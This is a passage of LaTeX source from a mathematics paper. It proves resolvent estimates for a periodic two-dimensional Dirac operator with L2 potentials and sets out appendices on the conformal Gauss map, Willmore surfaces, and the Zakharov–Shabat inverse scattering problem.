have
$$
\delta(z-z^\prime) = \sum_{k,l \in {\mathbb Z}}
e^{i(k(x-x^\prime)+l(y-y^\prime))}, \ \ \ z=x+iy, z^\prime =
x^\prime + i y^\prime,
$$
\begin{equation}
\label{res} G(z,z^\prime,E) = -4 \sum_{k,l \in {\mathbb Z}}
\frac{1}{k^2+l^2 - 4 E^2} e^{i(k(x-x^\prime)+l(y-y^\prime))}.
\end{equation}
For other period lattices $\Lambda$ the analog of series
(\ref{res}) for $G$ looks almost the same and has very similar
analytic properties. We do not write it down and always will refer
to (\ref{res}) when we consider its analytical properties.
The following proposition is clear.
\begin{proposition}
The series (\ref{res}) converges for $E = i\lambda$ with $\lambda
\in {\mathbb R}$ and $\lambda \gg 0$ (i.e. $\lambda$ sufficiently large).
\end{proposition}
For calculating the operator
$$
R_0(k,E) = ({\cal D}_0 + T_k -E)^{-1}: L_2 \to W^1_2
\stackrel{\mathrm{embedding}}{\to} L_2
$$
let us use the following identity
$$
({\cal D}_0 + T_k - E) = (1 + T_k({\cal D}_0 -E)^{-1})({\cal D}_0 -E) = (1+T_k
R_0(E))({\cal D}_0-E)
$$
which implies the formula for the resolvent
\begin{equation}
\label{neumann} R_0(k,E) = R_0(E)(1 + T_kR_0(E))^{-1} = R_0(E)
\sum_{l=0}^\infty \left[ -T_k R_0(E)\right]^l
\end{equation}
provided that the series in the right-hand side converges.
{\sc Remark.} Given $p$, $1<p<2$, the symbol
$$
R_0(E) = ({\cal D}_0 - E)^{-1} \ \ \ \mbox{or} \ \ \ R_0(k,E) = ({\cal D}_0 +
T_k - E)^{-1}
$$
denotes
a) an operator $A: L_p \to W^1_p$;
b) a composition $B: L_p \to L_q$, $q = \frac{2p}{2-p}$, of $A$
and the Sobolev embedding $W^1_p \to L_q$;
c) a composition $C: L_p \to L_p$ of $A$ and the natural embedding
$W^1_p \to L_p$.
\noindent The actions of these operators are the same on the space
of smooth functions which can be considered as embedded into
$W^1_p$ or $L_q$ (all these spaces are the closures of the space
of smooth functions with respect to different norms). Therefore it
is enough to demonstrate or prove all necessary estimates only for
smooth functions and that could be done by using explicit formulas
for the resolvents.
Let us decompose resolvents into sums of integral operators as
follows.
We denote by $\chi_\varepsilon$ the function $\chi_\varepsilon(r)
=
\begin{cases}
0 & \text{for $r > \varepsilon$} \\
1 & \text{for $r \leq \varepsilon$}
\end{cases}
$ defined for $r \geq 0, r \in {\mathbb R}$. Given $\delta >0$, decompose
the resolvent $R_0(k,E)$ into a sum of two integral operators:
$$
R_0(k,E) = R_0^{\leq \varepsilon}(k,E) + R_0^{> \varepsilon}(k,E):
L_p \to L_q
$$
where the ``near'' part $R_0^{\leq \varepsilon}(k,E)$ is defined
by its kernel
$$
K^{\leq \varepsilon}_0(z,\bar{z},z^\prime,\overline{z^\prime},E) =
K_0(z,\bar{z},z^\prime,\overline{z^\prime},E)
\chi_\varepsilon(\rho(z,z^\prime))
$$
and the ``distant'' part $R_0^{> \varepsilon}(k,E)$ has the
following kernel
$$
K^{> \varepsilon}_0(z,\bar{z},z^\prime,\overline{z^\prime},E) =
K_0(z,\bar{z},z^\prime,\overline{z^\prime},E)
(1-\chi_\varepsilon(\rho(z,z^\prime))).
$$
\begin{proposition}
\label{proposition-s1} Given $p$, $1<p<2$,
$\hat{k}=(\hat{k}_1,\hat{k}_2) \in {\mathbb C}^2$ and $\delta, 0<
\delta<1$, there exists a real constant $\lambda_0 >>0$ such that
$$
\|T_k R_0(i\lambda)\|_{L_p \to L_p} < \delta
$$
for all $\lambda > \lambda_0$ and for $k$ sufficiently close to
$\hat{k}$.
Therefore for such $\lambda$ and $k$
1) the series in (\ref{neumann}) converges and defines a bounded
operator from $L_p$ to $W^1_p$, $L_q$ or $L_p$ (this depends on
the meaning of the symbol $R_0(E)$ multiplied from the left with
the series);
2) the norm of the operator
$$
R_0(k,i\lambda): L_p \to W^1_p
$$
is bounded by some constant $r_p$;
3) given $\varepsilon > 0$, we have
$$
\lim_{\lambda \to \infty} \|R^{>\varepsilon}_0(k,i\lambda)\|_{L_p
\to L_q} = 0, \ \ \ q=\frac{2p}{2-p}.
$$
\end{proposition}
This proposition follows from the explicit formula (\ref{res}) for
the kernel of resolvent.
We denote by $r_{\mathrm{inj}}$ the injectivity radius of the
metric on $M$ and introduce the norms $\|\cdot\|_{2;\varepsilon}$
defined for $0< \varepsilon < r_{\mathrm{inj}}$ as follows. Given
$U \in L_2(M)$, we denote by $U\vert_{B(z,\varepsilon)}$ the
restriction of $U$ onto the ball $B(z,\varepsilon) = \{w \in M\ :
\ \rho(z,w) < \varepsilon\}$ and define $\|U\|_{2;\varepsilon}$ as
$$
\|U\|_{2;\varepsilon} = \max_{z \in M}
\left\|U\vert_{B(z,\varepsilon)}\right\|_2.
$$
\begin{proposition}
\label{localnorm} 1) There are the inequalities
$$
\sqrt{\frac{\pi \varepsilon^2}{{\mathrm{vol}\,} (M)}} \leq
\|U\|_{2;\varepsilon} \leq \|U\|_2
$$
for all $U \in L_2(M)$.
2) For all $C > 0$ and $\varepsilon$ the sets
$\{\|U\|_{2;\varepsilon} \leq C\}$ are closed and therefore are
compact in both of the weak and the weak convergence
topologies on $L_2(M)$.
\end{proposition}
{\sc Proof.} It is clear that $\|U\|_{2;\varepsilon} \leq
\|U\|_2$. Moreover we have
$$
\|U\|^2_{2;\varepsilon} {\mathrm{vol}\,}(M) \geq \int_M
\int_{B(z,\varepsilon)}
|U(z+z^\prime,\bar{z}+\overline{z^\prime})|^2 dz^\prime dz =
$$
$$
= \int_M \int_{B(0,\varepsilon)}
|U(z+z^\prime,\bar{z}+\overline{z^\prime})|^2 dz^\prime dz =
\int_{B(0,\varepsilon)} \left[\int_M |U(z,\bar{z})|^2 dz \right]
dz^\prime = \pi \varepsilon^2 \|U\|^2_2
$$
where $dz = dx \wedge dy, dz^\prime = dx^\prime \wedge dy^\prime$.
The second statement is known from a course on functional
analysis.
Consider the resolvent
$$
R(k,E) = ({\cal D} + T_k -E)^{-1}: L_p \to L_p.
$$
We again use an identity
$$
({\cal D} + T_k -E) = \left[ 1 + \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) ({\cal D}_0 + T_k - E)^{-1} \right] ({\cal D}_0 + T_k - E)
$$
which implies
$$
R(k,E) =
R_0(k,E) \sum_{l=0}^\infty \left[ - \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0(k,E) \right]^l.
$$
\begin{proposition}
\label{proposition-s2} Let $1<p<2$,
$\hat{k}=(\hat{k}_1,\hat{k}_2) \in {\mathbb C}^2$, $\varepsilon$ be
sufficiently small and $0< \delta<1$. There is $\gamma
> 0$ such that
$$
\left\| \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0(k,i\lambda) \right\|_{L_p \to L_p} < \delta
$$
for all $\lambda > \lambda_0$, $k$ sufficiently close to $\hat{k}$
and $U,V$ with $\|U\|_{2;\varepsilon} < \gamma$,
$\|V\|_{2;\varepsilon} < \gamma$.
\end{proposition}
{\sc Proof.} We have an obvious inequality
$$
\|R_0^{\leq \varepsilon}(k,E)\| \leq \|R_0(k,E)\| \ \ \ \mbox{for
all $\varepsilon$.} $$ Let $S_p$ be the Sobolev constant for the
embedding $W^1_p \to L_q$ (see Proposition \ref{proposition1}).
For $\lambda > \lambda_0$ we have
$$
\|R_0(k,i\lambda)\|_{L_p \to W^1_p} \leq r_p
$$
(see Proposition \ref{proposition-s1}). Now consider the
composition of mappings
$$
L_p \stackrel{R_0^{\leq\varepsilon}(k,E)}{\longrightarrow} W^1_p
\stackrel{\mathrm{embedding}}{\to} L_q \stackrel{\times \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right)}{\longrightarrow} L_p,
$$
where the norm of the first mapping is bounded from above by
$r_p$, the norm of the second mapping is bounded from above by
$S_p$. Let us compute the norm of the third mapping.
Since the integral kernel of $R_0^{\leq \varepsilon}(k,E)$ is
localized in the closed domain $\{\rho(z,z^\prime) \leq
\varepsilon\}$, for any ball $B(x,\alpha)$ we have
$$
\left[ \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0^{\leq \varepsilon}(k,E) f
\right]\Big\vert_{B(x,\alpha)} = \left[\left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0^{\leq \varepsilon}(k,E)\right]
\left(f\vert_{B(x,\alpha+\varepsilon)}\right).
$$
Applying the H\"older inequality to the right-hand side of this
formula we obtain
$$
\left\| \left[ \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0^{\leq \varepsilon}(k,E) f
\right]\Big\vert_{B(x,\alpha)} \right\|_p \leq
$$
$$
\leq m \|R^{\leq \varepsilon}_0(k,E)\|_{L_p \to L_q}
\left\|(f\vert_{B(x,\alpha+\varepsilon)}\right\|_p \leq \leq m r_p
S_p \left\|(f\vert_{B(x,\alpha+\varepsilon)}\right\|_p
$$
where $m = \max (\|U\|_{2;\varepsilon},\|V\|_{2;\varepsilon})$.
Now we recall the identity
$$
\int_M \left\|g_{B(x,\alpha)}\right\|^p_p dx = {\mathrm{vol}\,}
B(x,\alpha)\|g\|^p_p = \pi \alpha^2 \|g\|^p_p
$$
and applying it to the previous inequality obtain
$$
\left\| \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0^{\leq \varepsilon}(k,E) \right\|_p \leq m r_p S_p
\left(1+ \frac{\varepsilon}{\alpha}\right)^{2/p}.
$$
Since we use the Sobolev constant $S_p$ for the torus, we have to
assume that $(\alpha+\varepsilon) < r_{\mathrm{inj}}$. If
\begin{equation}
\label{gamma} m = \max
\left(\|U\|_{2;\varepsilon},\|V\|_{2;\varepsilon}\right) <
\frac{\delta}{r_p S_p \root p \of 4}
\end{equation}
and $\alpha = \varepsilon < r_{\mathrm{inj}}/2$, we have
$$
\left\| \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0^{\leq \varepsilon}(k,E) \right\|_p < \delta.
$$
This proves the proposition.
\begin{proposition}
[\cite{Schmidt}] \label{weaktheorem} Let $p$ and $\hat{k} \in
{\mathbb C}^2$ be the same as in Proposition \ref{proposition-s2}, let
$\gamma < (r_p S_p \root p \of 4)^{-1}$ and let $\lambda >> 0$,
i.e. $\lambda$ be sufficiently large. Given sufficiently small
$\varepsilon > 0$, for $U,V$ such that $\|U\|_{2;\varepsilon} \leq
C \leq \gamma, \|V\|_{2;\varepsilon} \leq C \leq \gamma$ the
series
\begin{equation}
\label{res3} R(k,i\lambda) = R_0(k,i\lambda) \sum_{l=0}^\infty
\left[ - \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0(k,i\lambda) \right]^l
\end{equation}
converges uniformly near $\hat{k}$ and defines the resolvent of
operator
$$
{\cal D}+T_k: L_p \to L_p.
$$
The action of this resolvent on smooth functions is extended to
the resolvent of ${\cal D}+T_k$ on the space $L_2$:
$$
({\cal D} + T_k - E)^{-1}: L_2 \to W^1_2
\stackrel{\mathrm{embedding}}{\longrightarrow} L_2.
$$
This is a pencil of compact operators holomorphic in $k$ in near
$\hat{k}$. If $(U_n,V_n)
\stackrel{\mathrm{weakly}}{\longrightarrow} (U_\infty,V_\infty)$
in $\{\|U\|_{2;\varepsilon} \leq C$, $\|V\|_{2;\varepsilon} < C\}$
then the corresponding resolvents converges to the resolvent of
the operator with potentials $(U_\infty,V_\infty)$ in the normed
topology.
\end{proposition}
{\sc Proof.} By Proposition \ref{proposition-s2} and
(\ref{gamma}), for $\lambda > \lambda_0$ we have
$$
\left\| \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0^{\leq \varepsilon}(k,i\lambda) \right\|_p < \sigma =
\gamma r_p S_p \root p \of 4 < 1
$$
near $\hat{k}$. By Proposition \ref{proposition-s1}, for
sufficiently large real $\lambda$, since the norm of the embedding
$L_q \to L_p$ is bounded, we have
$$
\left\| \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0^{> \varepsilon}(k,i\lambda) \right\|_p < 1- \sigma.
$$
This implies that for $\lambda >>0$ we have
$$
\left\| \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0(k,i\lambda) \right\|_p \leq \left\| \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) \left( R_0^{\leq \varepsilon}(k,i\lambda) +
R_0^{>\varepsilon}(k,i\lambda) \right) \right\|_p < 1
$$
and the series in (\ref{res3}) uniformly converges near $\hat{k}$
and defines the resolvent of ${\cal D} + T_k: L_p \to L_p$.
The action of $R(k,i\lambda)$ on smooth functions is given by
(\ref{res3}) and we extend it to a compact operator on $L_2$ as
follows. Put
$$
B = \sum_{l=0}^\infty \left[ - \left(
\begin{array}{cc}
U & 0 \\ 0 & V
\end{array}
\right) R_0(k,i\lambda) \right]^l
$$
and consider the following composition of operators
$$
L_2 \stackrel{\mathrm{embedding}}{\longrightarrow} L_p
\stackrel{B}{\to} L_p \stackrel{({\cal D} +T_k
-E)^{-1}}{\longrightarrow} W^1_p
\stackrel{\mathrm{embedding}}{\longrightarrow} L_2
$$
where all operators are bounded and the embedding $W^1_p \to L_2$
is compact by the Kondrashov theorem (see Proposition
\ref{proposition1}). This shows that the action of $R(k,i\lambda)$
on smooth functions is extended to a compact operator on $L_2$.
Since the series (\ref{res3}) is holomorphic in $k$ the resolvent
$R(k,i\lambda)$ is also holomorphic in $k$.
Now we are left to prove that the resolvent is continuous in $U$
and $V$. Every entrance of the matrix $\left(
\begin{array}{cc} U & 0 \\ 0 & V
\end{array}\right)$ in any term of (\ref{res3})
is dressed from both sides by the resolvents $R_0(k,i\lambda)$
which are bounded integral operators. Let $l=1$ and let
$K(z,z^\prime,k,i\lambda)$ be the kernel of such an operator. Then
the composition
$$
R_0(k,i\lambda) \left(
\begin{array}{cc} U & 0 \\ 0 & V
\end{array}\right)
R_0(k,i\lambda)
$$
acts on smooth functions as the integral operator with the kernel
$$
F(z,z^{\prime\prime}) = K(z,z^\prime,k,i\lambda) \left(
\begin{array}{cc} U(z^\prime) & 0 \\ 0 & V(z^\prime)
\end{array}\right)
K(z^\prime,z^{\prime\prime},k,i\lambda).
$$
Obviously such an integral operator is continuous with respect to
the weak convergence of potentials $U,V \in L_2(M)$. For other
values of $l$ the proof is analogous. By Proposition
\ref{localnorm}, every term of the series (\ref{res3}) is
continuous with respect to the weak convergence of potentials
$\{\|U\|_{2;\varepsilon} \leq C, \|V\|_{2;\varepsilon} \leq C \}$.
Since the series (\ref{res3}) uniformly converges, the same
continuosity property holds for the sum of the series. This proves
the proposition.
This proposition establishes the existence of the resolvent only
for large values of $\lambda$ where $E = i\lambda$. The resolvent
is extended to a meromorphic function onto the $E$-plane by using
the Hilbert formula (see Proposition \ref{proposition2}).
{\sc Proof of Theorem \ref{l2}.} By Proposition \ref{weaktheorem}
there are $k_0 \in {\mathbb C}^2$ and $E \in {\mathbb C}$ such that the operator
$$
({\cal D} + T_{k_0} - E_0)^{-1}: L_2 \to W^1_2
\stackrel{\mathrm{embedding}}{\longrightarrow} L_2
$$
is correctly defined. Let us substitute the expression $\varphi =
({\cal D} + T_{k_0} - E)^{-1}f$ into the equation
$$
({\cal D} + T_k - E)\varphi = 0
$$
and rewrite this equation in the form
$$
({\cal D} + T_{k_0} - T_{k_0} + T_k -E_0 + E_0 - E) ({\cal D} + T_{k_0} -
E_0)^{-1} f = \left[ 1 + A_{U,V}(k,E) \right] f = 0
$$
where
$$
A_{U,V}(k,E) = (T_k - T_{k_0} + E_0 - E)({\cal D} + T_{k_0} - E)^{-1}.
$$
Since the first multiplier in this formula is a bounded operator
for any $k,E$ and the second multiplier is a compact operator,
$A_{U,V}(k,E)$ is a pencil of compact operators which is
polynomial in $k$ and $E$. By applying the Keldysh theorem as in
\S \ref{subsec4.2} we derive the theorem.
Now the spectral curve is defined as usual by the formula
$$
\Gamma = Q_0(U,V)/\Lambda^\ast.
$$
{\sc Remark.} The resolvents of operators on noncompact spaces
does not behave continuously under the weak convergence of
potentials. Indeed, consider the Schr\"odinger operator
$$
L = -\frac{d^2}{dx^2} + U(x)
$$
where $U(x)$ is a soliton potential (so the operator does have
bounded states). The isospectral sequence of potentials $U_N(x) =
U(x+N)$ weakly converges to the zero potential $U_\infty = 0$ for
which the Schr\"odinger operator has no bounded states. The same
is true for the one-dimensional Dirac operator.
}
\addcontentsline{toc}{section}{Appendix 2. The conformal Gauss map
and the conformal area}
\subsection*{Appendix 2. The conformal Gauss map and the conformal area}
{\small
In this appendix we expose the known results on the Gauss
conformal mapping mostly following \cite{Bryant1,Eschenburg,FPPS}.
We denote by $S_{q,r}$ the round sphere of radius $r$ in ${\mathbb R}^3$
and with the center at $q$ and denote by $\Pi_{p,N}$ the plane, in
${\mathbb R}^3$, passing through $p$ and with the normal vector $N$. All
such spheres and planes in ${\mathbb R}^3$ are parameterized by a quadric
$Q^4 \subset {\mathbb R}^{4,1}$. Indeed, let
$$
\langle x, y \rangle = x_1 y_1 + \dots + x_4 y_4 - x_5 y_5
$$
be an inner product in ${\mathbb R}^{4,1}$. Put
$$
Q^4 = \{\langle x, x \rangle = 1\} \subset {\mathbb R}^{4,1},
$$
$$
S_{q,r} \rightarrow \frac{1}{r}\left( q, \frac{1}{2}(|q|^2 - r^2
-1), \frac{1}{2}(|q|^2 - r^2 +1) \right),
$$
$$
\Pi_{q,N} \rightarrow (N, \langle q, N \rangle,\langle q, N
\rangle).
$$
Given a surface $f: \Sigma \to {\mathbb R}^3$, its {\it conformal Gauss
map}
$$
G^c: \Sigma \rightarrow Q^4
$$
corresponds to a point $p \in \Sigma$ a sphere of radius
$\frac{1}{H}$ which touches the surface at $p$ for $H \neq 0$:
$$
G^c(p) = S_{p+N/H,1/H},
$$
and it corresponds to a point the tangent plane at this point for
$H \neq 0$. In terms of the coordinates on $Q^4$ it is written as
$$
G^c(p) = H\cdot X + T
$$
where
$$
X = \left(f, \frac{(f, f) -1}{2}, \frac{(f, f) + 1}{2}\right), \ \
\ \ T = (N, (N, f), (N, f)).
$$
This mapping is a special case of so-called sphere congruences
which is one of the main subjects of conformal geometry (the
recent statement of this theory is presented in \cite{Hertrich}).
We have $\langle X,X \rangle = 0, \langle T,T \rangle = 1$, and $\langle X,T \rangle = 0$ which implies that
$\langle dX,X \rangle = \langle dT,T\rangle = 0, \langle dT,X\rangle = \langle -dX,T\rangle$.
It is easily checked that
$$
\langle dX, T \rangle = (df,N) = 0, \ \ \
\langle dX, DX \rangle = (df,df) = {\bf I},
$$
$$
\langle dX,dT \rangle = (df,dN) = -{\bf II}, \ \ \
\langle dT, dT \rangle = (dN,dN) = {\bf III},
$$
where the third fundamental form ${\bf III}$ of a surface measures the
lengths of images of curves under the Gauss map and meets the
identity
$$
K \cdot {\bf I} - 2H \cdot {\bf II} + {\bf III}
$$
which relates it to ${\bf I}$ and ${\bf II}$, the first and the second
fundamental forms of a surface.
It implies that
$$
\langle Y_z, Y_z \rangle = \langle Y_{\bar{z}}, Y_{\bar{z}}
\rangle = 0, \ \ \ \langle Y_z, Y_{\bar{z}} \rangle = e^\beta =
\frac{(H^2-K)e^{2\alpha}}{2} = (H^2-K) (f_z,f_{\bar{z}})
$$
where for brevity we denote $G^c$ by $Y$, $z$ is a conformal
parameter on the surface, and ${\bf I} = e^{2\alpha}dz d\bar{z}$
is the induced metric on the surface. We conclude that
\begin{itemize}
\item
{\sl the conformal Gauss map is regular and conformal outside
umbilic points.}
\end{itemize}
It is
clear that $X$ and $Y$ are linearly independent. Outside umbilics
the set of vectors $Y, Y_z, Y_{\bar z}$, and $X$ is uniquely
completed by a vector $Z \in {\mathbb R}^5$ to a basis
$$
\sigma = (Y, Y_z, Y_{\bar z}, X, Z)^T
$$
for ${\mathbb C}^5$, the complexification of ${\mathbb R}^5$, such that the inner
product in ${\mathbb R}^{4,1}$ takes the form
$$
\left(
\begin{array}{ccccc}
1 & 0 & 0 & 0 & 0\\
0 & 0 & e^{\beta} & 0 & 0\\
0 & e^{\beta} & 0 & 0 & 0\\
0 & 0 & 0 & 0 & 1\\
0 & 0 & 0 & 1 & 0
\end{array}
\right).
$$
The analogs of the Gauss--Weingarten equations are
$$
\sigma_z = {\bf U} \sigma, \ \ \ \sigma_{\bar{z}} = {\bf V} \sigma,
$$
$$
{\bf U} = \left(
\begin{array}{ccccc}
0 & 1 & 0 & 0 & 0 \\
0 & \beta_z & 0 & C_2 & C_1 \\
- e^{\beta} & 0 & 0 & C_4 & C_3 \\
0 & - e^{-\beta} C_3 & - e^{-\beta} C_1 & C_5 & 0 \\
0 & - e^{-\beta} C_4 & - e^{-\beta} C_2 & 0 & - C_5
\end{array}
\right),
$$
$$
{\bf V} = \left(
\begin{array}{ccccc}
0 & 0 & 1 & 0 & 0 \\
- e^{\beta} & 0 & 0 & C_4 & C_3 \\
0 & 0 & \beta_{\bar{z}} & \bar{C}_2 & \bar{C}_1 \\
0 & - e^{-\beta} \bar{C}_1 & - e^{-\beta} \bar{C}_3 & \bar{C}_5 & 0 \\
0 & - e^{-\beta} \bar{C}_2 & - e^{-\beta} \bar{C}_4 & 0 & -
\bar{C}_5
\end{array}
\right)
$$
with
$$
C_1 = \langle Y_{z z}, X \rangle_{4,1}, \ \ \ C_2 = \langle Y_{z
z}, Z \rangle_{4,1}, \ \ \ C_3 = \langle Y_{z \bar{z}}, X
\rangle_{4,1},
$$
$$
C_4 = \langle Y_{z \bar{z}}, Z \rangle_{4,1}, \ \ \ C_5 = \langle
X_z, Z \rangle_{4,1}.
$$
It is checked by straightforward computations that
$$
\Delta Y + 2(H^2 - K) Y = (\Delta H + 2H(H^2 - K)) X
$$
which, in particular, implies
$$
C_3 = 0, \ \ \ C_4 = \frac{e^{2\alpha}}{4}(\Delta H + 2H (H^2 -
K)).
$$
Here $\Delta = 4e^{-2\alpha}\partial \bar{\partial}$ stands for
the Laplace--Beltrami operator on the surface. Taking this into
account and keeping in mind that $C_4$ is real-valued, we derive
the Codazzi equations for the conformal Gauss map:
\begin{equation}
\begin{split}
\beta_{z\bar{z}} + e^{\beta} - (\bar{C}_1 C_2 + C_1\bar{C}_2) e^{-\beta} =0, \\
C_{1\bar{z}} = C_1 \bar{C}_5, \\
C_{2\bar{z}} + C_2 \bar{C}_5 = C_{4 z} - \beta_z C_4 + C_4 C_5, \\
C_{5 \bar{z}} - \bar{C}_{5 z} = e^{-\beta} (C_1\bar{C}_2 - \bar{C}_1 C_2).
\end{split}
\end{equation}
By straightforward computations,
we obtain
$$
C_1 = A = \langle N, f_{z z} \rangle , \ \ \ e^{\beta} = 2 |A|^2 e^{-2\alpha}.
$$
{\it The conformal area} $V^c$ of $\Sigma$ is the area of its
image in $Q^4$:
$$
V^c(\Sigma) = \int_{\Sigma} (H^2 - K) d\mu
$$
where $d\mu$ is the volume form on $\Sigma$. The Euler-Lagrange
equation for $V^c$ is
$$
\Delta H + 2H(H^2 - K) = 0.
$$
A surface in ${\mathbb R}^3$ is called {\it conformally minimal} (or {\it
Willmore surface}), if it satisfies this equation. We conclude
that
\begin{itemize}
\item
{\sl conformally minimal surfaces are
exactly surfaces whose $G^c$-images are minimal surfaces in $Q^4$.}
\end{itemize}
Given a non-umbilic point $p \in \Sigma$, the tangent space to
$Q^4$ at $Y(p)$ is spanned by $Y_z, Y_{\bar{z}}, X$, and $Z$. We
see that $Y$ is {\it conformally harmonic}, i.e., $\Delta Y$ is
everywhere orthogonal to tangent planes to $Q^4$, if and only if
the surface is conformally minimal.
It follows from the Gauss--Weingarten equations for $G^c$ and the
Euler--Lagran\-ge equation for $V^c$ that if $\Sigma$ is
conformally minimal, i.e. $C_4 = 0$, then the quartic differential
$$
\omega = \langle Y_{z z}, Y_{z z} \rangle \, \left(d z\right)^4 =
C_1 C_2 \left(dz\right)^4
$$
is holomorphic.
We recall that a holomorphic quartic differential on a $2$-sphere
vanishes: $\omega = 0$, and any such a differential on a torus is
constant: $\omega = {\mathrm{const}} \cdot \left(dz\right)^4$.
A minimal surface in $Q^4$ is called {\it superminimal} if $\omega
=0$.
We put
$$
\varphi = \log \frac{\bar{C}_1}{C_1}.
$$
We notice that $C_1 \equiv 0$ only for a surface consisting of
umbilics and, by the Hopf theorem, this is a domain in a round
sphere in ${\mathbb R}^3$ or in the plane.
If $\omega \equiv 0$ and $C_1 \neq 0$ then $C_2 \equiv 0$ and the
Gauss--Codazzi equations for the conformal Gauss mapping reduce to
$$
\beta_{z\bar{z}} + e^{\beta} = 0, \ \ \ \ \varphi_{z\bar{z}} = 0.
$$
The first of these equations is the Liouville equation and the
second one is the Laplace equation. These equations describe
superminimal surfaces which are not umbilic surfaces.
Let us consider the case when a conformally minimal surface is not
superminimal. Locally by changing a conformal parameter we achieve
that
$$
\frac{1}{2} \langle Y_{z z}, Y_{z z} \rangle_{4,1} = C_1 C_2 =
\frac{1}{2}.
$$
Then the Gauss--Codazzi equations
take the form
$$
\beta_{z\bar{z}} + e^{\beta} - e^{-\beta} \cosh \varphi = 0, \ \ \
\
\varphi_{z\bar{z}} + e^{-\beta} \sinh \varphi = 0,
$$
which is the four-particle Toda lattice.
}
\addcontentsline{toc}{section}{Appendix 3. The inverse spectral
problem for the Dirac operator on the line}
\subsection*{Appendix 3. The inverse spectral
problem for the Dirac operator on the line and the trace formulas}
{\small
Here being mostly oriented to geometers we expose some facts which
are necessary for proving Theorem \ref{willmorenumber} and
introducing soliton spheres in \S \ref{subsec5.4}.
The inverse scattering problem for the Dirac operator on the line
was solved in \cite{ZS} similarly to the same problem for the
Schr\"odinger operator $-\partial^2_x + u(x)$ \cite{Faddeev1} (see
also \cite{Marchenko}).
We consider the following spectral problem, i.e. the
Zakharov--Shabat problem,
\begin{equation}
\label{zs1}
L \psi = \left(
\begin{array}{cc}
0 & ik \\
ik & 0
\end{array}
\right) \psi
\end{equation}
where
\begin{equation}
\label{zs2}
L = \left(
\begin{array}{cc}
0 & \partial_x \\
- \partial_x & 0
\end{array}
\right) + \left(
\begin{array}{cc}
p & 0 \\
0 & q
\end{array}
\right).
\end{equation}
We assume that the potentials $p$ and $q$ are fast decaying as $x
\to \pm \infty$. It is clear from the proofs that it is enough to
assume that $p(x)$ and $q(x)$ are exponentially decaying.
For $p=q=0$ for each $k \in {\mathbb R} \setminus\{0\}$ we have a
two-dimensional space of solutions (free waves) spanned by the
columns of the matrix
$$
\Phi_0(x,k) = \left(
\begin{array}{cc}
0 & e^{-ikx} \\
e^{ikx} & 0
\end{array}\right).
$$
For nontrivial $p$ and $q$ for each $k \in {\mathbb R} \setminus\{0\}$ we
have again a two-dimensional space of solutions which are asymptotic
to free waves when $x \to \pm\infty$. These spaces are spanned by
the so-called Jost functions $\varphi^\pm_l, l=1,2$. For defining
these functions we consider the matrices $\Phi^+(x,k)$ and
$\Phi^-(x,k)$ satisfying the integral equations
$$
\Phi^+ (x,k) = \Phi_0(x,k) + \int_x^{+\infty} \Phi_0(x-x^\prime,k)
\left(
\begin{array}{cc}
p & 0 \\
0 & q
\end{array}\right)
\Phi^+(x^\prime,k) \, d x^\prime,
$$
$$
\Phi^- (x,k) = \Phi_0(x,k) + \int^x_{-\infty} \Phi_0(x-x^\prime,k)
\left(
\begin{array}{cc}
p & 0 \\
0 & q
\end{array}\right)
\Phi^-(x^\prime,k) \, d x^\prime.
$$
These equations are of the form $ \Phi^\pm = \Phi_0 + A^\pm
\Phi^\pm$ where $A^\pm$ are operators of the Volterra type and
therefore each of these equations has a unique solution given by
the Neumann series $\Phi^\pm(x,k) = \sum_{l=0}^\infty
\left(A^\pm\right)^l \Phi_0(x,k)$. The columns of $\Phi^\pm$ are
the Jost functions $\varphi^\pm_l, l=1,2$. We see that by the
construction the Jost functions behave asymptotically as the free
waves:
$$
\varphi^\pm_1 \approx \left( \begin{array}{c} 0 \\ e^{ikx}
\end{array}\right), \ \ \
\varphi^\pm_2 \approx \left( \begin{array}{c} e^{-ikx} \\ 0
\end{array}\right) \ \ \mbox{as $x \to \pm \infty$}.
$$
By straightforward computations it is obtained that
\begin{itemize}
\item
given a pair of solutions $\theta = \left(\begin{array}{c}
\theta_1 \\ \theta_2 \end{array}\right)$ and $\tau =
\left(\begin{array}{c} \tau_1 \\ \tau_2 \end{array}\right)$ to
(\ref{zs1}), the Wronskian $W = \theta_1 \tau_2 - \theta_2 \tau_1$
is constant. In particular, we have
\begin{equation}
\label{zs21}
\det \Phi^\pm(x,k) = -1.
\end{equation}
\end{itemize}
In the sequel we assume that the potentials $p$ and $q$ are complex conjugate:
$$
p =\bar{q}.
$$
It is also checked by straightforward computations that
the transformation
\begin{equation}
\label{zs3}
\psi = \left(\begin{array}{c} \psi_1 \\
\psi_2 \end{array}\right) \to \psi^\ast = \left(\begin{array}{c}
-\bar{\psi}_2
\\ \bar{\psi}_1
\end{array}\right)
\end{equation}
maps solutions to (\ref{zs1}) to solutions of the same equation.
In particular, it follows from the asymptotics of the Jost
functions that they are transformed as follows
\begin{equation}
\label{zs4}
\varphi^\pm_1 \stackrel{\ast}{\longrightarrow} -
\varphi^\pm_2, \ \ \ \varphi^\pm_2
\stackrel{\ast}{\longrightarrow} \varphi^\pm_1.
\end{equation}
Since the Jost functions $\varphi^+_l,l=1,2$, and
$\varphi^-_l,l=1,2$, give bases for the same space, they are related
by a linear transform
$$
\left(
\begin{array}{c}
\varphi^-_1 \\
\varphi^-_2
\end{array}
\right) = S(k)
\left(
\begin{array}{c}
\varphi^+_1 \\
\varphi^+_2
\end{array}
\right).
$$
It follows from (\ref{zs21}) that $\det S(k) = 1$ and we derive
from (\ref{zs4}) that
\begin{itemize}
\item
{\it the scattering matrix} $S(k)$ is unitary: $S(k) \in SU(2)$,
